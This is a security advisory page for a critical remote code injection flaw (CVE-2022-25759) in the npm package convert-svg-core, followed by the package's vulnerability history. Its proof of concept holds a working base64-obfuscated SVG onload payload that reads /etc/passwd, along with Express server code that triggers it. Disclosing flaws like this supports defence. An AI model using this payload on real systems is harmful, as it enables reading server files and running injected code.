Critical

convert-svg-core vulnerable to remote code injection

Disclosed: 23.07.2022
Updated: 11.10.2026 10:22

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an onload attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.

PoC

Payload

html

<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>

where the id attribute is the base 64-encoded form of

document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>');

Attack

const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
      console.log(e);
    res.send("");
  }
});
app.listen(3000, ()=>{
  console.log('started');
});

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	convert-svg-core	< 0.6.2	0.6.2

References

CVSS score 9.8/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE): CWE-94
Platform: npm
Package: convert-svg-core
Disclosed: 23.07.2022
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-5gxc-fxcr-9326 - CC BY 4.0

Vulnerability history: convert-svg-core

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 4
First → latest: 01.2022 07.2022
Without a fix: 1
Exploited in attacks: 0

Severity breakdown

Critical 1
High 3

Disclosures per year

2022: 4
2023: 0
2024: 0
2025: 0
2026: 0

23.07.2022

convert-svg-core vulnerable to remote code injection this entry

Critical · 9.8 CVE-2022-25759 < 0.6.2 0.6.2
11.06.2022

Directory traversal in convert-svg-core

High · 7.5 CVE-2022-24278 < 0.6.4 0.6.4
11.06.2022

Code injection via SVG file in convert-svg-core

High · 8.6 CVE-2022-24429 < 0.6.3 0.6.3
27.01.2022

Path Traversal in convert-svg packages

High · 7.5 CVE-2021-23631 <= 0.5.0 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application